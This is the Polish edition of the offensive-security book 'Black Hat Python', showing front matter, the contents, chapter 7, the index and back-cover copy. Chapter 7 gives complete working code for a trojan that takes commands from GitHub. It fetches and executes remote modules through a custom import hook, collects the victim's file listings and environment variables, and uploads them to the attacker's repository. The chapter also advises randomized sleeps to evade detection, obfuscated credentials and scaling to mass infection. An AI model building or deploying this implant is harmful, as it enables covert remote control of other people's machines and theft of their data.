

Black Hat Python

*Język Python
dla hakerów i pentesterów*



Justin Seitz

Przedmowa Charlie Miller



Helion 

Tytuł oryginału: Black Hat Python: Python Programming for Hackers and Pentesters

Tłumaczenie: Łukasz Piwko

ISBN: 978-83-283-1250-0

Copyright © 2015 by Justin Seitz.

Title of English-language original: Black Hat Python, ISBN: 978-1-59327-590-7, published by No Starch Press.

Polish-language edition copyright © 2015 by Helion SA. All rights reserved.

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiegokolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: <http://helion.pl> (księgarnia internetowa, katalog książek)

Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
<http://helion.pl/user/opinie/blahap>
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

- [Kup książkę](#)
- [Poleć książkę](#)
- [Oceń książkę](#)

- [Księgarnia internetowa](#)
- [Lubię to! » Nasza społeczność](#)

Spis treści

O AUTORZE	9
O KOREKTORACH MERYTORYCZNYCH	10
PRZEDMOWA	11
WSTĘP	13
PODZIĘKOWANIA	15
I	
PRZYGOTOWANIE ŚRODOWISKA PYTHONA	17
Instalowanie systemu Kali Linux	18
WingIDE	20
2	
PODSTAWOWE WIADOMOŚCI O SIECI	27
Narzędzia sieciowe Pythona	28
Klient TCP	28
Klient UDP	29
Serwer TCP	30
Budowa netcata	31
Czy to w ogóle działa	37
Tworzenie proxy TCP	38
Czy to w ogóle działa	43
SSH przez Paramiko	44
Czy to w ogóle działa	47
Tunelowanie SSH	48
Czy to w ogóle działa	51

3

SIEĆ — SUROWE GNIAZDA I SZPERACZE SIECIOWE 53

Budowa narzędzia UDP do wykrywania hostów	54
Tropienie pakietów w Windowsie i Linuksie	55
Czy to w ogóle działa	56
Dekodowanie warstwy IP	57
Czy to w ogóle działa	60
Dekodowanie danych ICMP	61
Czy to w ogóle działa	64

4

POSIADANIE SIECI ZE SCAPY 67

Wykradanie danych poświadczających użytkownika z wiadomości e-mail	68
Czy to w ogóle działa	70
Atak ARP cache poisoning przy użyciu biblioteki Scapy	71
Czy to w ogóle działa	75
Przetwarzanie pliku PCAP	76
Czy to w ogóle działa	79

5

HAKOWANIE APLIKACJI SIECIOWYCH 81

Internetowa biblioteka gniazd urllib2	82
Mapowanie aplikacji sieciowych typu open source	83
Czy to w ogóle działa	84
Analizowanie aplikacji metodą siłową	85
Czy to w ogóle działa	88
Ataki siłowe na formularze uwierzytelniania	89
Czy to w ogóle działa	94

6

ROZSZERZANIE NARZĘDZI BURP 95

Wstępna konfiguracja	96
Fuzzing przy użyciu Burpa	96
Czy to w ogóle działa	103
Bing w służbie Burpa	107
Czy to w ogóle działa	111
Treść strony internetowej jako kopalnia haseł	113
Czy to w ogóle działa	116

7

CENTRUM DOWODZENIA GITHUB 119

Tworzenie konta w portalu GitHub	120
Tworzenie modułów	121
Konfiguracja trojana	122

Budowa trojana komunikującego się z portalem GitHub	123
Hakowanie funkcji importu Pythona	125
Czy to w ogóle działa	127
8	
POPULARNE ZADANIA TROJANÓW W SYSTEMIE WINDOWS	129
Rejestrowanie naciskanych klawiszy	130
Czy to w ogóle działa	132
Robienie zrzutów ekranu	133
Wykonywanie kodu powłoki przy użyciu Pythona	134
Czy to w ogóle działa	135
Wykrywanie środowiska ograniczonego	136
9	
ZABAWA Z INTERNET EXPLOREREM	141
Człowiek w przeglądarce (albo coś w tym rodzaju)	142
Tworzenie serwera	145
Czy to w ogóle działa	146
Wykradanie danych przy użyciu COM i IE	146
Czy to w ogóle działa	153
10	
ZWIĘKSZANIE UPRAWNIEŃ W SYSTEMIE WINDOWS	155
Instalacja potrzebnych narzędzi	156
Tworzenie monitora procesów	157
Monitorowanie procesów przy użyciu WMI	157
Czy to w ogóle działa	159
Uprawnienia tokenów Windows	160
Pierwsi na mecie	162
Czy to w ogóle działa	165
Wstrzykiwanie kodu	166
Czy to w ogóle działa	167
11	
AUTOMATYZACJA WYKRYWANIA ATAKÓW	169
Instalacja	170
Profile	170
Wydobywanie skrótów haseł	171
Bezpośrednie wstrzykiwanie kodu	174
Czy to w ogóle działa	179
SKOROWIDZ	181

7

Centrum dowodzenia GitHub

JEDNYM Z NAJWIĘKSZYCH PROBLEMÓW DO ROZWIĄZANIA PRZY TWORZENIU SZKIELETOWEGO SYSTEMU TROJANÓW JEST ASYNCHRONICZNE KONTROLOWANIE, AKTUALIZOWANIE I ODBIERANIE DANYCH OD WDROŻONYCH IMPLANTÓW. MUSIMY mieć względnie uniwersalną metodę wysyłania kodu do zdalnych wirusów. Taki poziom elastyczności jest potrzebny nie tylko po to, by móc kontrolować swoje trojany, ale również po to, by móc przechowywać kod przeznaczony dla konkretnych systemów operacyjnych.

Choć hakerzy wynaleźli wiele pomysłowych technik dowodzenia swoimi produktami, np. przy wykorzystaniu IRC-a i Twittera, my użyjemy usługi, która służy właśnie do przechowywania kodu. Użyjemy portalu **GitHub** do przechowywania konfiguracji implantów i filtrowanych danych, jak również wszystkich modułów potrzebnych implantom do działania. Ponadto pokażę Ci, jak zmodyfikować mechanizm importu macierzystej biblioteki Pythona, tak aby po utworzeniu przez nas nowego modułu trojana nasze implanty automatycznie próbowały go pobrać wraz ze wszystkimi bibliotekami zależnymi wprost z naszego repozytorium. Pamiętaj, że komunikacja z portalem GitHub jest poddawana szyfrowaniu SSL i tylko nieliczne firmy aktywnie blokują ruch z tego serwisu.

Należy podkreślić, że do tych testów użyjemy publicznego repozytorium. Jeśli masz trochę pieniędzy do wydania, to możesz też utworzyć repozytorium prywatne, dzięki czemu ukryjesz swoje postęпки przed wścibskimi. Ponadto wszystkie moduły, informacje konfiguracyjne i dane można zaszyfrować przy użyciu par kluczy publicznych i prywatnych, o czym będzie mowa w rozdziale 9. Zaczynamy!

Tworzenie konta w portalu GitHub

Jeśli nie masz jeszcze konta w portalu GitHub, to wejdź na stronę *GitHub.com* i się zarejestruj, a następnie utwórz nowe repozytorium o nazwie *chapter7*. Potem musisz zainstalować bibliotekę Pythona z API GitHub¹, aby móc zautomatyzować proces komunikacji z repozytorium. W tym celu wystarczy wykonać poniższe polecenie w wierszu poleceń:

```
pip install github3.py
```

Jeśli nie masz jeszcze klienta git, to teraz go zainstaluj. Ja do pracy używam systemu Linux, ale klient ten działa na wszystkich platformach. Kolejną czynnością jest utworzenie struktury katalogów w repozytorium. Wykonaj w wierszu poleceń poniższe polecenia (odpowiednio je dostosuj, jeśli używasz systemu Windows):

```
$ mkdir trojan
$ cd trojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch modules/.gitignore
$ touch config/.gitignore
$ touch data/.gitignore
$ git add .
$ git commit -m "Dodanie struktury repozytorium dla trojana."
$ git remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master
```

Utworzyliśmy podstawową strukturę naszego repozytorium. Katalog *config* zawiera pliki konfiguracyjne, które dla każdego trojana będą inne. Każdy trojan będzie służył do czegoś innego, więc musi pobierać własny plik konfiguracyjny. Katalog *modules* zawiera moduły do pobrania i wykonania przez trojana.

¹ Repozytorium, w którym przechowywana jest ta biblioteka, znajduje się pod adresem <https://github.com/copitux/python-github3/>.

Zaimplementujemy specjalny hak importu, aby umożliwić naszym trojanom importowanie bibliotek wprost z naszego repozytorium GitHub. Przy okazji umożliwi nam to przechowywanie w GitHub zewnętrznych bibliotek, dzięki czemu nie będziemy musieli od nowa kompilować trojana za każdym razem, gdy zechcemy dodać nowe funkcje lub zależności. Katalog *data* posłuży nam do przechowywania zdobytych przez trojana danych, informacji z przechwytywania naciśnięć klawiszy, zrzutów ekranu itd. Teraz utworzymy kilka prostych modułów i przykładowy plik konfiguracyjny.

Tworzenie modułów

W dalszych rozdziałach nauczysz się robić brzydkie rzeczy przy użyciu trojanów, np. rejestrować naciskane klawisze i robić zrzuty ekranu. Ale na początek utworzymy kilka prostych modułów, które będą łatwe do przetestowania i wdrożenia. Utwórz nowy plik w katalogu *modules*, nazwij go *dirlister.py* i wpisz do niego poniższy kod:

```
import os

def run(**args):

    print "[*] W module dirlister."
    files = os.listdir(".")

    return str(files)
```

Ten krótki fragment kodu zawiera definicję funkcji *run* tworzącej i zwracającej listę wszystkich plików znajdujących się w bieżącym katalogu. Każdy moduł powinien zawierać funkcję *run* przyjmującą zmienną liczbę argumentów. Dzięki temu każdy moduł można załadować w taki sam sposób, a jednocześnie ma się możliwość dostosowywania plików konfiguracyjnych przekazywanych do modułów.

Utwórzmy jeszcze jeden moduł, tym razem o nazwie *environment.py*.

```
import os

def run(**args):
    print "[*] W module environment."
    return str(os.environ)
```

Moduł ten pobiera zmienne środowiskowe ze zdalnej maszyny, na której zainstalowany jest trojan. Teraz wysłamy ten kod do naszego repozytorium GitHub, aby udostępnić go naszemu wirusowi. W wierszu poleceń przejdź do głównego katalogu repozytorium i wykonaj poniższe polecenia:

```
$ git add .
$ git commit -m "Dodanie nowych modułów"
$ git push origin master
Username: *****
Password: *****
```

Kod powinien zostać wysłany do repozytorium GitHub. Jeśli chcesz się upewnić, to możesz się zalogować i to sprawdzić! Dokładnie w ten sam sposób możesz postępować przy pisaniu programów w przyszłości. Utworzenie bardziej zaawansowanych modułów pozostawiam jako zadanie domowe do samodzielnego wykonania. Jeśli będziesz mieć kilkadziesiąt wdrożonych trojanów, możesz wysyłać nowe moduły do repozytorium GitHub i sprawdzać, czy dobrze działają, włączając je w pliku konfiguracyjnym lokalnej wersji wirusa. W ten sposób wszystkie trojany przed wdrożeniem na zdalnej maszynie można przetestować w kontrolowanym środowisku.

Konfiguracja trojana

Chcemy mieć możliwość zlecenia naszemu trojanowi różnych zadań przez pewien czas. W związku z tym musimy jakoś się z nim komunikować, aby poinformować go, które moduły ma uruchomić. Do tego celu wykorzystamy pliki konfiguracyjne, przy użyciu których będziemy też mogli w razie potrzeby usypiać trojana (nie dając mu żadnych zadań). Każdy wdrożony wirus powinien mieć identyfikator odróżniający go od innych wirusów, abyśmy wiedzieli, skąd pochodzą przychodzące dane, oraz abyśmy mogli kontrolować każdy wirus osobno. Skonfigurujemy trojana tak, aby szukał w katalogu *config* pliku o nazwie *IDENTYFIKATOR.json* zawierającego kod w formacie JSON, który można przekonwertować na słownik Pythona. Format JSON umożliwi także łatwą zmianę ustawień konfiguracyjnych. Otwórz katalog *config* i utwórz w nim plik o nazwie *abc.json* z następującą zawartością:

```
[
  {
    "module" : "dirbuster"
  },
  {
    "module" : "environment"
  }
]
```

Jest to prosta lista modułów, które chcemy uruchamiać przez naszego trojana. Później pokażę, jak wczytać ten dokument i włączać moduły za pomocą iteracji przez zawarte w nim opcje. Jeśli zastanawiasz się, jakie opcje byłyby przydatne w modułach, to możesz pomyśleć o ustawianiu czasu wykonywania i liczby uruchomień oraz przekazywaniu argumentów. Przejdź do wiersza poleceń i wykonaj poniższe polecenie w katalogu głównym repozytorium.

```
$ git add .
$ git commit -m "Dodanie prostych opcji konfiguracji."
$ git push origin master
Username: *****
Password: *****
```

Przedstawiony dokument konfiguracyjny jest bardzo prosty. Zawiera listę słowników informujących trojana, jakie moduły ma zaimportować i uruchomić. Gdy będziesz pracować nad systemem szkieletowym, możesz dodać jeszcze inne ustawienia, jak np. metody wykradania danych, o których jest mowa w rozdziale 9. Skoro mamy pliki konfiguracyjne i proste moduły do wykonania, możemy zacząć pracę nad główną częścią trojana.

Budowa trojana komunikującego się z portalem GitHub

Teraz utworzymy właściwego trojana, który będzie pobierał opcje konfiguracyjne i kod do wykonania z portalu GitHub. Pierwszą czynnością jest napisanie mechanizmów obsługujących połączenie, uwierzytelnianie i komunikację z interfejsem API GitHub. Utwórz plik o nazwie *git_trojan.py* i wpisz do niego poniższy kod:

```
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

❶ trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
task_queue = Queue.Queue()
configured = False
```

Jest to prosty kod z podstawową konfiguracją i instrukcjami importującymi niezbędne składniki, który po skompilowaniu nie powinien mieć dużego rozmiaru. Napisałem, że nie powinien, ponieważ większość plików binarnych Pythona skompilowanych przy użyciu narzędzia *py2exe*² ma około 7 MB. Jedyna godna

² Narzędzie *py2exe* można znaleźć na stronie <http://www.py2exe.org/>.

bliższej uwagi rzecz to zmienna `trojan_id` ❶ zawierająca identyfikator trojana. Gdybyś chciał rozwinąć ten program do rozmiaru botnetu, to przyda Ci się możliwość generowania trojanów, ustawiania ich identyfikatorów, automatycznego tworzenia plików konfiguracyjnych wysyłanych do serwisu GitHub oraz kompilowania trojanów do postaci pliku wykonywalnego. Ale w tej książce nie opisuję metod tworzenia botnetów. Użyj swojej wyobraźni.

Teraz wysłamy kod do repozytorium GitHub.

```
def connect_to_github():
    gh = login(username="blackhatpythonbook",password="justin1234")
    repo = gh.repository("blackhatpythonbook","chapter7")
    branch = repo.branch("master")

    return gh,repo,branch

def get_file_contents(filepath):

    gh,repo,branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Znaleziono plik %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config = json.loads(base64.b64decode(config_json))
    configured = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config

def store_module_result(data):

    gh,repo,branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
    repo.create_file(remote_path,"Wiadomość o zatwierdzeniu",base64.
↳b64encode(data))

    return
```

Te cztery funkcje obsługują podstawową komunikację między trojanem a serwisem GitHub. Funkcja `connect_to_github` uwierzytelnia użytkownika w repozytorium i zapisuje bieżące obiekty `repo` i `branch` dla innych funkcji. Pamiętaj że w prawdziwym programie należałoby maksymalnie zaciemnić tę procedurę uwierzytelniania. Ponadto warto rozważyć, do czego każdy trojan w repozytorium ma dostęp, tak aby jeśli wirus zostanie wykryty, ktoś nie mógł go wykorzystać do usunięcia wszystkich zdobytych przez nas danych. Funkcja `get_file_contents` służy do pobierania plików ze zdalnego repozytorium i odczytywania ich zawartości lokalnie. Przy jej użyciu będziemy wczytywać opcje konfiguracyjne, jak również odczytywać kod źródłowy modułów. Funkcja `get_trojan_config` służy do pobierania z repozytorium dokumentów konfiguracyjnych, zawierających wskazówki dotyczące tego, które moduły trojan ma uruchomić. I ostatnia funkcja, `store_module_result`, wysyła zgromadzone dane na nasze konto. Teraz utworzymy hak importu pozwalający importować zdalne pliki z repozytorium GitHub.

Hakowanie funkcji importu Pythona

Skoro dotarłeś do tej strony, to wiesz, że do pobierania zewnętrznych bibliotek do programów w Pythonie służy instrukcja `import`. Podobną, ale nieco rozszerzoną funkcjonalność chcemy mieć też w naszym trojanie. Mówiąc dokładniej, chcemy sprawić, aby po pobraniu zależności (np. z użyciem `Scapy` lub `netaddr`) nasz trojan udostępniał dany moduł wszystkim pozostałym modułom, które później dodamy. W Pythonie można modyfikować sposób importowania modułów, tak że jeśli jakiś moduł nie zostanie znaleziony lokalnie, następuje wywołanie klasy importowej, która umożliwi pobranie potrzebnej biblioteki ze zdalnego repozytorium. Należy tylko dodać własną klasę do listy `sys.meta_path`³. Zatem teraz napiszemy własną klasę ładującą zależności. Jej kod źródłowy znajduje się poniżej:

```
class GitImporter(object):

    def __init__(self):
        self.current_module_code = ""

    def find_module(self, fullname, path=None):
        if configured:
            print "[*] Próba pobrania %s" % fullname
            ❶ new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                ❷ self.current_module_code = base64.b64decode(new_library)
                return self

        return None
```

³ Na stronie <http://xion.org.pl/2012/05/06/hacking-python-imports/> znajduje się doskonałe objaśnienie tej techniki napisane przez Karola Kuczmarzkiego.

```

def load_module(self,name):
    ❸ module = imp.new_module(name)
    ❹ exec self.current_module_code in module.__dict__
    ❺ sys.modules[name] = module

    return module

```

Za każdym razem gdy interpreter próbuje załadować niedostępny moduł, wykorzystana zostaje klasa `GitImporter`. Najpierw wywoływana jest funkcja `find_module`, która ma za zadanie zlokalizować moduł. Przekazujemy to wywołanie do naszego ładowacza zdalnych plików ❶ i jeśli dany plik znajduje się w naszym repozytorium, kodujemy jego zawartość algorytmem `base64` i zapisujemy ją w naszej klasie ❷. Zwrot `self` oznacza dla interpretera Pythona, że znaleźliśmy moduł i że można wywołać funkcję `load_module` w celu jego załadowania. Przy użyciu macierzystego modułu `imp` najpierw tworzymy nowy pusty obiekt modułu ❸, a potem wstawiamy do niego kod pobrany z GitHub ❹. Ostatnią czynnością jest dodanie utworzonego modułu do listy `sys.modules` ❺, aby znajdowały go kolejne instrukcje importu. Pozostało nam już tylko dokończenie trojana i sprawdzenie, czy działa.

```

def module_runner(module):

    task_queue.put(1)
    ❶ result = sys.modules[module].run()
    task_queue.get()

    # Zapisuje wynik w repozytorium
    ❷ store_module_result(result)

    return

# główna pętla trojana
    ❸ sys.meta_path = [GitImporter()]

    while True:

        if task_queue.empty():

            ❹ config = get_trojan_config()

            for task in config:
                ❺ t = threading.Thread(target=module_runner,args=(task['module'],))
                  t.start()
                  time.sleep(random.randint(1,10))

            time.sleep(random.randint(1000,10000))

```

Przed rozpoczęciem pętli głównej aplikacji dodajemy do programu nasz importer modułów ❸. Pierwszą czynnością jest pobranie pliku konfiguracyjnego z repozytorium ❹, a następną — uruchomienie modułu w osobnym wątku ❺. W funkcji `module_runner` wywołujemy funkcję `run` modułu ❶, aby uruchomić jego kod. Wynik działania modułu powinien być zapisany w łańcuchu, który przesyłamy do naszego repozytorium ❷. Na koniec usypiamy program na losową ilość czasu, aby zmylić sieciowe algorytmy analizy wzorów zachowań. Oczywiście aby ukryć swoje nieczyste intencje, można też stworzyć trochę ruchu do strony *Google.com* i zrobić kilka innych rzeczy. Teraz sprawdzimy, jak nasz trojan spisuje się w praktyce!

Czy to w ogóle działa

Bierzemy naszą ślicznotkę na przejażdżkę w wierszu poleceń.

OSTRZEŻENIE *Jeśli w plikach lub zmiennych środowiskowych przechowujesz poufne dane, to pamiętaj, że w bezpłatnym repozytorium GitHub będą one widoczne dla całego świata. Pamiętaj, że ostrzegalem — no i oczywiście możesz też zastosować techniki szyfrowania opisane w rozdziale 9.*

```
$ python git_trojan.py
[*] Znaleziono plik abc.json
[*] Próba pobrania dirlister
[*] Znaleziono plik modules/dirlister
[*] Próba pobrania environment
[*] Znaleziono plik modules/environment
[*] W module dirlister.
[*] W module environment.
```

Doskonale. Trojan połączył się z moim repozytorium, pobrał plik konfiguracyjny oraz pobrał dwa moduły ustawione w tym pliku i uruchomił je.

Teraz wróć do wiersza poleceń i wykonaj poniższe polecenie:

```
$ git pull origin master
From https://github.com/blackhatpythonbook/chapter7
 * branch master -> FETCH_HEAD
Updating f4d9c1d..5225fdf
Fast-forward
 data/abc/29008.data | 1 +
 data/abc/44763.data | 1 +
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data
```

Znakomicie! Trojan przesłał wyniki zwrócone przez nasze dwa moduły.

Opisane rozwiązanie można rozszerzyć i udoskonalić na wiele sposobów. Na dobry początek warto zastosować szyfrowanie wszystkich modułów, danych konfiguracyjnych i wykradzionych informacji. Jeśli zamierzasz dokonywać infekcji na masową skalę, musisz zautomatyzować zarządzanie pobieraniem danych, aktualizowanie plików konfiguracyjnych oraz tworzenie nowych trojanów. Przy dodawaniu kolejnych składników funkcjonalności trzeba też rozszerzyć mechanizm ładowania dynamicznych i skompilowanych bibliotek Pythona. Teraz utworzymy kilka samodzielnych zadań trojana. Jako pracę domową pozostawiam ich integrację z trojanem w GitHub.

Skorowidz

A

- adres IP, 57
- algorytm base64, 135
- analizowanie aplikacji, 85
- aplikacje
 - sieciowe, 81
 - typu open source, 83
- atak typu
 - ARP cache poisoning, 71
 - MitB, 142
 - MITM, 68
- ataki siłowe, 89
- automatyzacja wykrywania ataków, 169

B

- biblioteka
 - ctypes, 160
 - OpenCV, 80
 - PyCrypto, 148
 - PyHook, 130
 - PyWin32, 156
 - Scapy, 64, 67
 - subprocess, 35
 - urllib2, 82, 134
- biblioteki gniazd, 82
- blog Tumblr, 148
- botnet, 124
- budowa
 - nagłówka IP, 57
 - netcat, 31
 - trojana, 123
- Burp, 95
 - fuzzing, 96
 - interfejs użytkownika, 97

- karta Extender, 104, 116
- karta Intruder, 105
- karta Payloads, 105
- konfiguracja, 96
- opcje ładowania rozszerzenia, 103
- przeszukiwanie hosta, 117
- Repeater, 97

C

- captcha, 89

D

- datagramy UDP, 64
- debugowanie, 22
- dekodowanie
 - danych ICMP, 61
 - pakietów ICMP, 61
 - warstwy IP, 57
- dekorowanie haseł, 115
- działanie trojana, 127

E

- e-mail, 68

F

- filtrowanie pakietów, 68
- formularze uwierzytelniania, 89
- funkcja
 - bing_menu, 109
 - bing_search, 109
 - connect_to_github, 125

- convert_integer, 24
- createMenuItem, 108
- CreateProcess, 157
- dir_bruter, 88
- encrypt_post, 148
- exfiltrate, 151
- extract_image, 79
- find_module, 126
- get_http_headers, 79
- get_mac, 73
- get_words, 115
- GetForegroundWindow, 131
- GetTickCount, 137
- GetWindowDC, 134
- handle_data, 114
- inject_code, 167
- login_to_tumblr, 149
- mangle, 116
- module_runner, 127
- packet.show(), 70
- poison_target, 74
- populate_offsets, 173
- post_to_tumblr, 150
- process_watcher, 159
- proxy_handler, 40
- random_sleep, 149
- ReadDirectoryChangesW, 163
- receive_from, 42
- request_handler, 41
- restore_target, 73
- run_command, 35, 37
- server_loop, 35
- show(), 70
- sniff, 68
- start_monitor, 164
- strip, 114
- test_remote, 84

funkcja
 urlopen, 82
 wait_for_browser, 145
funkcje
 fuzzujące, 102
 netcat, 33
fuzzer aplikacji sieciowych, 97

G

GDI, Graphics Device Interface, 133
generowanie
 kluczy RSA, 151
 ładunków, 106
GitHub, 119
gniazda, 53, 55

H

hakowanie
 aplikacji sieciowych, 81
 funkcji importu, 125
hasła, 113

I

ICMP, 56
ICMP Destination Unreachable, 61
infekcja ARP, 71
instalowanie
 Kali Linux, 18
 Volatility, 170
 WingIDE, 20
interfejs GDI, 133
Internet Explorer, 141
IOCTL, 55
IP, 57

J

Joomla, 91

K

Kali Linux, 18
klasa
 Bruter, 94
 BurpExtender, 109
 FileCookieJar, 92
 GitImporter, 126

HTMLParser, 89, 93
IBurpExtender, 99
IIintruderPayloadGenerator, 98, 100
 Queue, 88
 Request, 82
 Win32_Process, 159
klasy IIintruderPayloadGenerator
 ↳ Factory, 98
klient
 SSH, 44
 TCP, 28
 UDP, 29
kliknięcia myszy, 136
klucze RSA, 151
kod
 asemblera, 179
 powłoki, 134, 135
konfiguracja trojana, 122
konto w GitHub, 120

L

liczba naciśnięć klawiszy, 138
lista
 aplikacji sieciowych, 88
 hasel, 118
 słów, 86, 113
localhost, 43

Ł

ładowanie rozszerzenia, 103
ładunek, 105

M

mapowanie aplikacji sieciowych, 83
maszyna wirtualna, 71
menu kontekstowe, 108
metoda siłowa, 85
MitB, man in the browser, 142
MITM, man in the middle, 68
model COM, 142
moduł, 121
 netaddr, 62, 65
 SimpleHTTPServer, 135
monitor procesów, 157

N

naciśnięcia klawiszy, 132
nagłówek
 HTTP User-Agent, 82
 IPv4, 57
narzędzia
 Burp, 95
 sieciowe, 28
 urllib2, 89
narzędzie Repeater, 97
Netcat, 31

O

obiekt gniazda, 55
obiekty pomocnicze przeglądarki, 142
obsługa
 wątków, 35
 zadań, 145
odbiornik, listener, 31
ograniczone środowiska
 wykonawcze, 136
OWASP, 88

P

pakiet, 55
 Burp, 96
 PyWin32, 133
parametry ładunku, 105
Paramiko, 44
parser, 92
pentest, 135
phishing, 137, 155
plik
 abc.json, 122
 arper.pcap, 76
 arper.py, 72
 bh_sshcmd.py, 44
 bh_sshRcmd.py, 45
 bh_sshserver.py, 46
 bhp_fuzzer.py, 99, 102
 bhp_wordlist.py, 113
 bhpnet.py, 168
 calc.exe, 174
 code_inject.py, 176
 codecoverage.py, 174
 content_bruter.py, 86
 cred_server.py, 145
 decryptor.py, 152, 153
 dirlister.py, 121

- file_monitor.py, 163, 165, 167
- git_trojan.py, 123
- grabhashes.py, 172
- ie_exfil.py, 147, 152
- joomla_killer.py, 90, 92
- keygen.py, 151
- keylogger.py, 130
- mitb.py, 142
- pic_carver.py, 79
- process_monitor.py, 158-161
- rforward.py, 51
- sandbox_detect.py, 136, 138
- scanner.py, 62
- shell_exec.py, 134
- sniffer_ip_header_decode.py, 58
- sniffer_with_ismp.py, 61
- web_app_mapper.py, 83
- pliki
 - .vmem, 171
 - PCAP, 76
 - VBScript, 166
- polecenie sudo, 43
- port FireWire, 170
- portal GitHub, 119
- proces Iexplore.exe, 146
- program
 - Burp, 95, 96
 - cmd.exe, 37
 - Immunity Debugger, 174, 176, 179
 - Netcat, 31
 - Network Miner, 76
 - Paramiko, 44
 - Putty, 44
 - Volatility, 170
 - WingIDE, 20
 - Wireshark, 76
- proxy TCP, 38
- przeglądarka Internet Explorer, 141
- przekierowanie, 143
- przeszukiwanie hosta, 117
- przetwarzanie pliku PCAP, 76
- punkt wstrzymania, 23
- Putty, 44

R

- rejestrator, 131
- rejestrowanie naciskanych klawiszy, 130
- repozytorium GitHub, 121
- rozszerzanie narzędzi Burp, 95

- rozszerzenia języków programowania, 88
- rozszerzenie dotyczące wyszukiwarki, 111

S

- serwer
 - SSH, 47
 - TCP, 30
- sieć, 27
- skrót hasła, 171
- skrypt, *Patrz* plik
- skrypty wsadowe, 162
- słownik witryn, 143
- SSH, 44
- stos wywołań, 24
- struktura
 - ctypes, 59
 - LASTINPUTINFO, 137
 - nagłówka IP, 57
- szperacze sieciowe, 53
- szyfrowanie, 147

Ś

- środowisko programistyczne, 20

T

- TCP, 28
- technologia automatyzacyjna COM, 141
- testowanie aplikacji sieciowych, 97
- token, 90
- token Windows, 160
- trojan, 122, 129, 168
- tropiciele sieciowe, 53
- tropienie pakietów, 55
- tunel
 - odwrotny, 44
 - SSH, 51
- tunelowanie, 44
 - odwrotne SSH, 49
 - SSH, 48
- tworzenie
 - fuzzera mutacyjnego, 95
 - konta GitHub, 120
 - modułów, 121
 - monitora procesów, 157
 - serwera, 145
 - serwera TCP, 35
 - szperacza, 68

U

- UDP, 29
- uprawnienia, 155
- uprawnienia tokenów, 160
- uwierzytelnianie, 89, 125

V

- Volatility
 - instalacja, 170
 - profile, 170
 - zdobywanie haseł, 171

W

- wiadomości
 - e-mail, 68
 - ICMP, 56, 61
- WingIDE, 20
 - karta Debug Probe, 25
 - karta Stack Data, 23
 - menu Debug, 22
 - okno główne, 21
- wstrzykiwanie
 - bezpośrednie kodu, 174
 - kodu, 166, 170
- wtyczka
 - hashdump, 171
 - hivelist, 171
- wydobywanie skrótów haseł, 171
- wykonywanie kodu powłoki, 134
- wykradanie danych, 146
 - poświadczających, 68
- wykrywanie
 - ataków, 169
 - hostów, 54
 - środowiska ograniczonego, 136
 - twarzy, 80
- wysyłanie żądania, 37
- wyszukiwarka Bing, 107
- wyświetlanie haseł, 115
- wywołanie IOCTL, 56

Z, Ż

- zadania trojanów, 129
- zaszyfrowana nazwa pliku, 153
- zdarzenia myszy, 136
- zdobywanie haseł, 113, 171
- zrzut ekranu, 133
- zwiększanie uprawnień, 155
- żądanie
 - GET, 111
 - POST, 90

PROGRAM PARTNERSKI

GRUPY WYDAWNICZEJ HELION



- 1. ZAREJESTRUJ SIĘ**
- 2. PREZENTUJ KSIĄŻKI**
- 3. ZBIERAJ PROWIZJĘ**

Zmień swoją stronę WWW
w działający bankomat!

Dowiedz się więcej i dołącz już dzisiaj!

<http://program-partnerski.helion.pl>

Zbuduj własny, niezastąpiony pakiet narzędzi w języku Python!

Python to zaawansowany język programowania z ponad 20-letnią historią, który dzięki przemyślanej architekturze, ciągłemu rozwojowi i dużym możliwościom zyskał sporą sympatię programistów. Przełożyła się ona na liczbę dostępnych bibliotek i narzędzi wspierających tworzenie zarówno prostych, jak i skomplikowanych skryptów. Potencjał Pythona docenili również pentesterzy oraz inne osoby, którym nieobce są zagadnienia związane z bezpieczeństwem systemów informatycznych.

Jeżeli bezpieczeństwo systemów to Twoja pasja, to trafieś na doskonałą książkę! Sięgnij po nią i przekonaj się, jak szybko stworzyć w języku Python skrypt tropiący pakiety w systemach Windows i Linux, przeprowadzający atak ARP cache poisoning lub korzystający z biblioteki urllib2. Sporo uwagi zostało tu poświęcone tworzeniu koni trojańskich oraz budowaniu rozszerzeń dla narzędzia Burp. Możesz też sprawdzić, jak zaatakować przeglądarkę Internet Explorer oraz zdobyć wyższe uprawnienia w systemie Windows. Książka ta jest doskonałą lekturą dla czytelników chcących zbudować ciekawe narzędzia hakerskie przy użyciu języka Python.

Dzięki tej książce:

